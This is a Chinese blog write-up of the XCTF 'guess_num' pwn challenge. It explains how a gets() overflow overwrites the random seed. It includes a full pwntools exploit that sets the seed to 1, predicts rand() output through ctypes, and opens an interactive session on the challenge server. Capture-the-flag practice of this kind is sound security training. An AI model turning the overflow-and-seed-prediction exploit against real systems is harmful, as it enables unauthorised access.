XCTF-guess_num

原题链接  https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

 

查看基本信息:

 

 开启了canary,不能通过栈溢出直接覆盖地址

用IDA查看源代码

 

 必须输入正确的数字,才能执行sub_C3E()

 

 通过gets()函数覆盖随机数种子

 

通过ldd查找libc共享库, 这里python需要用到c语言的标准动态库(https://www.cnblogs.com/yssjun/p/9960479.html

ctypes python的外部函数库  https://docs.python.org/zh-cn/3.7/library/ctypes.html

 

rand函数和srand函数相关知识:https://blog.csdn.net/qq_41199502/article/details/80726780

  具体实现:  
1. 通过垃圾字符覆盖var_30到seed:“a” * 0x20
2. 使用p64()把1按照64位的方式进行排列产生随机数
3. 调用srand()生成随机数
4. 利用循环多次输入进行比较,直到相等。

from pwn import *
from ctypes import *
sh = remote('159.138.137.79',50420)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0x20 + p64(1)

sh.sendlineafter("name:",payload)
#get offset is 0x20,edit seed as 1
libc.srand(1)
for i in range(10):
    sh.recvuntil("number:")
    sh.sendline(str(libc.rand()%6+1))
# print(str(libc.rand()%6+1))
sh.interactive()

 

posted @ 2020-04-20 22:46  bbbarcln  阅读(342)  评论(0编辑  收藏  举报